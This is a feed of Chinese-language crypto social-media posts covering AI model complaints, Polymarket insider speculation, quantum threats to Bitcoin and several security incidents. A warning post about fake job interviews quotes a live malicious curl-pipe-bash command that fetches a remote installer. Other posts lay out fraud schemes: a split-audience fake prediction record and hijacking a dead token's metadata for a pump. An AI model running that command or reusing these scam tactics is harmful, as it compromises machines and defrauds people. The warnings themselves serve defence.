TheSmartApe🔥

vip
币龄 3 年
最高 VIP 等级 0
用户暂无简介
> 把你所有的积蓄都花在 Claude credits 上
> 在项目进行到一半时就用完了
> 打开 mcdonald's 的客服聊天
> 问如何反转一个 linked list;顺便也能不能给我来点 nuggets
> 拿到一个可运行的 O(n) solution
> 要么适应,要么就死
查看原文
post-image
  • 赞赏
  • 评论
  • 转发
  • 分享
觉得 Opus 4.7 是最愚蠢的 Anthropic 模型。我差不多要切换到 GPT 了。
它会采取你告诉它不要采取的捷径。修改你没有让它触碰的内容。给出错误的答案,甚至懒得查资料。而且这是在最大努力下。
花了一整天在它身上。两次会话大约花了 400 美元的计算费用。
最终回滚到备份,把当天的工作都扔掉了。
请带回二月份的 opus 吧。
4.6 被削弱以让位于 4.7,而 4.7 在几乎所有方面都更差。我们现在像是孤立无援。
有人有真正的编码模型推荐吗?我在听。
查看原文
  • 赞赏
  • 评论
  • 转发
  • 分享
一个知名人士每月从一个私人群组赚取6千美元,他刚刚告诉我他是如何建立起来的。
这纯粹是操控。
他有2.3万粉丝。他开始在@Polymarket上发布二元预测。是或否。
但在每次发帖之前,他将他的观众一分为二。
群组1 → “是”
群组2 → “否”
他们中一半总是看到他预测成功。
下一轮,他拿到获胜的一半,再次分成两组。一样的操作。对一边说“是”,对另一边说“否”。
他重复了7次。
最后,大约150人看到了他连续做出7个预测。他们相信他是个天才。
他其实没有预测任何东西。他只是把每个可能的答案发给不同的群组,并保留那些获胜的。
这150人中有120人成为每月50美元的付费订阅者。他们购买每一门课程、每一个信号、每一个他推出的产品。
小心那些完美无瑕的记录。这背后有很多工程技巧。
查看原文
post-image
  • 赞赏
  • 评论
  • 转发
  • 分享
> 拥有
> 248k $BTC ($19.5B)在单一地址中
> 它是地球上最富有的比特币钱包#1
> 也在另一个地址中拥有145k $BTC ($11.4B)
> 它是地球上第二富有的比特币钱包#2
> 仅用两个钱包就持有大约2%的比特币总供应量
> 有胆量将 $20B 集中在一个地址,而不是分散开来
别跟我谈量子攻击,只要 继续这样做。
BTC0.13%
查看原文
  • 赞赏
  • 评论
  • 转发
  • 分享
我在@Polymarket“美国是否会在2027年前确认外星人存在?”市场上看到许多内部活动。
4个新钱包,全部为单一用途,全部押注“是”。
总共154,000美元。
> 钱包1:celestat3123。新钱包,交易过的市场只有1个。投注金额:77,000美元。
> 钱包2:WeatherdemonAI。新钱包,交易过的市场只有1个。投注金额:54,000美元。
> 钱包3:0x7b989f25...e1be。新钱包,交易过的市场只有1个。投注金额:13,000美元。
> 钱包4:0x0560e9e8...99a4。新钱包,交易过的市场只有1个。投注金额:10,000美元。
这些钱包中的每一个都是专门为押注这个市场而开,之前或之后从未交易过其他Polymarket问题,且仍持有全部仓位。
美国政府中的某个人知道些什么吗?
查看原文
post-image
post-image
post-image
post-image
  • 赞赏
  • 评论
  • 转发
  • 分享
我见过的在Polymarket上最干净的内部交易。
> 新钱包,加入于2026年4月。
> 在其整个历史中只有一次投注。
> $18k 在“us x iran ceasefire by april 7”上以3.9¢下注。
> 带着$218k走开了。
> 从未交易过。从未再次交易过。没有其他市场。
美国简报室里有个人在Polymarket上有一个账户。
查看原文
post-image
  • 赞赏
  • 评论
  • 1
  • 分享
这个家伙制作了一个微型设备,可以实时显示你的Claude代码使用情况(m5stickc plus或LilyGo T-Display S3)。
诀窍在于我喜欢的那部分。
他向Anthropic的API发送一个伪造的消息,max_tokens:1,基本上是一个ping。
不在意响应。 他想要的是响应头。
Anthropic在每次调用时返回anthropic-ratelimit-unified-5h-utilization和anthropic-ratelimit-unified-7d-utilization。他读取这些,绘制条形图,睡眠30秒,然后重复。
查看原文
post-image
  • 赞赏
  • 评论
  • 转发
  • 分享
有人刚用cole allen的故事在五分钟内就赚了10万美元以上。
在uniswap上有一个名为$HENRY 的“死”代币,已经存在了大约一年。没有交易量,没有关注,基本毫无价值。
然后周六晚上发生了。“henry martinez”因为cole allen那条推文开始走红。有人注意到了这个死掉的代币。
接下来他做了这些:
> 在HENRY的供应几乎仍然是白送的时候买了一大袋。
> 支付~$300 来更新dexscreener上的元数据。把图片换成一个和henry martinez头像匹配的pepe。把描述以及挂的twitter链接改指向那个病毒式传播的账号。
这个代币从“死的”一路拉升到市值$1.2M。24小时上涨+280%。完成了17,769笔交易。交易量达到$8.5M。9,578个买家涌入,以为自己在交易“the henry martinez token”。
操盘手那一袋现在价值已经是六位数。玩法成本:$300。投入时间:五分钟。
这就是2026年在X上如何把注意力变现。你不需要一个项目。你不需要一个团队。你也不需要操纵K线图。你只需要在某件事病毒式传播时,成为第一个把一个死掉的代币元数据重新涂改的人。
UNI2.44%
PEPE-0.24%
查看原文
post-image
post-image
  • 赞赏
  • 评论
  • 转发
  • 分享
你告诉我,七个月前,一台量子计算机破解了一个6位的椭圆曲线密钥。
上周,一位研究人员破解了15位的密钥,而比特币使用的是256位?
每个比特币钱包都由ecdsa保护,椭圆曲线数字签名算法。
你的私钥是你币的唯一钥匙。你的公钥是锁的序列号,所有人都能看到。
从公钥,你无法推导出私钥。这就是为什么你的比特币属于你的原因。
量子计算机可以破解这个。Shor的算法,在量子硬件上运行,可以从公钥计算出私钥。
这已经被证明了。唯一未解的问题是,能破解多大密钥的大小。
> 2025年9月:首次公开演示,6位密钥
> 2026年4月:Giancarlo Lelli用27个量子比特在45分钟内破解了15位密钥,赢得1比特币悬赏
这是7个月内512倍的飞跃。比特币使用256位。还剩241位。
听起来很遥远。其实并不。
谷歌2026年4月的白皮书估算,破解一个真正比特币密钥大约需要50万颗物理量子比特。
加州理工学院和Oratomic的一篇后续论文将这个估算降低到大约1万颗中性原子量子比特。
目前的硬件:IBM拥有超过1000个量子比特的机器。Atom Computing已展示了由1000多个中性原子组成的阵列。IBM计划到2026年底实现超过1万颗模块化量子比特。
“我们拥有的”和“所需的”之间的差距曾经是一堵墙。研究人员自己现在称之为“一个工程
BTC0.13%
查看原文
post-image
  • 赞赏
  • 评论
  • 转发
  • 分享
当心假招聘面试。它们现在已成为最干净的恶意软件传播途径之一。
我兄弟这周差点中招。
步骤如下:
> 一个“招聘官”在领英上联系他
> 他们实际上已经阅读了他的简历,知道他的技术栈。他们预订了一个真实的面试时间。
> 面试前几小时:“你能在我们谈话前快速浏览一下我们的产品页面吗?”
> 访问该网站时,后台会运行以下内容:
curl -s macos[.]hyperhives[.]net/install | nohup bash &
如果你在提示时输入密码,就完了。
一位研究员(Darksp33d在Github)反向工程了这个二进制文件:
> 每个配置字符串都用570个独特的自定义函数加密
> 解包后:完整的C2服务器、端点列表,以及一个与开发者在法律传票下相关联的sentry错误追踪dsn
> 276个目标Chrome扩展ID,涵盖188个加密钱包
> 与朝鲜“传染性面试”攻击的TTP重叠很强
> virustotal评分9/64。CrowdStrike、Sophos、Malwarebytes都未检测到
真正的招聘官、真实的简历、真实的面试时间、看似真实的网站。一行curl就能掏空你的钱包。
如果“招聘官”让你在终端运行任何东西,即使是看似无害的构建脚本,也要关闭标签页。
查看原文
post-image
  • 赞赏
  • 评论
  • 转发
  • 分享
大家都错过了这个。几天前,bitwarden cli (作为最大的密码管理器之一)在npm上被植入后门。
存在了93分钟。334名开发者在有人注意到之前就已安装。
事情的经过:
> 攻击者劫持了一名bitwarden工程师的github账户
> 推送了一个恶意版本的npm包(@bitwarden/cli@2026.4.0)。
> 在此期间运行npm install bitwarden/cli的任何人都拉取了后门。
安装脚本并未直接携带恶意软件。它从github的官方发布端点下载了bun运行时,因此网络流量看起来100%合法。然后bun执行了真正的载荷,bw1.js。
被窃取的内容:
> npm令牌
> github令牌
> ssh密钥
> aws / gcp / azure凭证
> .env文件的内容
> 来自claude code和codex cli的mcp配置文件(是的,AI助手的秘密现在也成为战利品的一部分)
查看原文
post-image
post-image
  • 赞赏
  • 评论
  • 转发
  • 分享
伊朗表示在战争期间一些设备重启,而他们与全球网络断开连接。
假设:固件或引导加载程序的后门,由卫星触发。
它的工作原理:
> 代码植入在操作系统以下的固件或引导加载程序中
> 处于休眠状态。对标准监控工具不可见。
> 监听触发信号:定时器、畸形数据包或带外信号
> 触发时,运行预加载的载荷
> 重启会清除大部分证据
此时验证变得不可能,但保持警惕是有益的。
查看原文
post-image
  • 赞赏
  • 评论
  • 转发
  • 分享
我昨天在阅读 LayerZero 的 post-mortem 时感到很惊讶,这份报告把锅甩给了 Kelp,称其选择了“错误的”dvN configuration。
1-of-1 是默认的 LayerZero 配置。它写在他们的文档里,在他们的 GitHub 上,而且今天大约有 47% 的 LayerZero 集成商正在使用这个配置。
这意味着,按照 LayerZero 自己的说法,他们已经把 40% 的客户以他们现在所称的“错误”设置交付了。
这显然是一个已交付的默认问题。
归根结底,主要责任在于 LayerZero,尤其是在他们自己没有发现任何问题、只是因为 Kelp 的提醒才被告知的情况下。在这种语境下,把责任往下游推并不太说得通;这首先是 LayerZero 这边在默认配置和监控层面的失败。
ZRO3.5%
查看原文
  • 赞赏
  • 评论
  • 转发
  • 分享
🚨 快讯:有人刚刚用人工智能入侵了 @hyperbridge,并带走了 $237K。
攻击者使用 AI 生成了一条看似合法的伪造信息,发给桥。就像一封完美伪造的信,上面写着“我现在是新经理了。”而桥相信了这条信息。
一旦“晋升”为管理员,攻击者就在以太坊上凭空铸造了 1 billion $DOT tokens,并在没人注意到之前把它们全部倾倒/抛售了 $237K 。
→ AI 生成伪造的跨链消息
→ 消息通过 hyperbridge 的网关传输
→ 桥认为它是真的并执行
→ 攻击者成为代币合约的管理员
→ 铸造 1B 代币
→ 出售一切
→ 消失
过去,想要制作一条看起来有效的跨链消息,需要数周的手动逆向工程。
现在,LLM(大型语言模型)可以分析合约,找出薄弱的校验逻辑,并在数小时内生成“完美”的伪造载荷。
而最讽刺的部分呢?
hyperbridge 竟然在 4 月 1 日发布了一篇帖子,名为“The Hyperbridge Hack Explained”,还用作玩笑。
他们在炫耀自己的 ZK proof 系统如何让他们“无法被黑”。
12 天后,有人证明他们错了。
DOT2.66%
ETH-1.1%
查看原文
post-image
  • 赞赏
  • 评论
  • 转发
  • 分享
如果你没装这10个 claude 插件,别告诉我你用 claude 用得高效。
没有插件的 claude = 一台没有手臂的大脑。
𝟭. feature-dev
描述一个功能 → claude 运行完整的开发流程:需求、架构、代码、测试、评审、文档。不是代码片段生成器。一个初级工程师。
→ npx skills add anthropic/feature-dev
𝟮. frontend-design
阻止 claude 编写那种通用的“看起来像 AI 的”界面。让它具备真正的设计直觉、不对称布局、有意图的排版、滚动动画。
→ npx skills add anthropic/frontend-design
𝟯. context7
claude 的训练数据是几个月前的。context7 会为你使用的库的精确版本获取实时文档。不再出现胡编的 API。
→ 通过在 claude desktop 中的 MCP 配置添加
𝟰. github mcp
在聊天中搜索仓库、阅读代码、打开问题、创建 PR,全都可以。 “修复 issue #42” → claude 读取代码、提出修复方案,并打开 PR。
→ 在 anthropic 的官方市场中提供
𝟱. postgresql mcp
问“上个月花费最多的前5个用户” → clau
查看原文
post-image
  • 赞赏
  • 评论
  • 转发
  • 分享
目前,加密货币中最强的叙事已不再是 ico、nft 或 memecoin。
而是机构采纳。
这才是真正的资金所在。
也是改变市场结构的叙事。
加密货币已经经历了以散户为驱动力的时代:
• icos
• defi
• nfts
• meme coins
它们都带来了能量。
它们都吸引了用户。
它们都推动了市场。
但现在最重要的叙事是机构。
这也是为什么 @BV7X_ 的这个测试版引起了我的注意。
这正是目前值得密切关注的主题。注册即将开启。
查看原文
  • 赞赏
  • 评论
  • 转发
  • 分享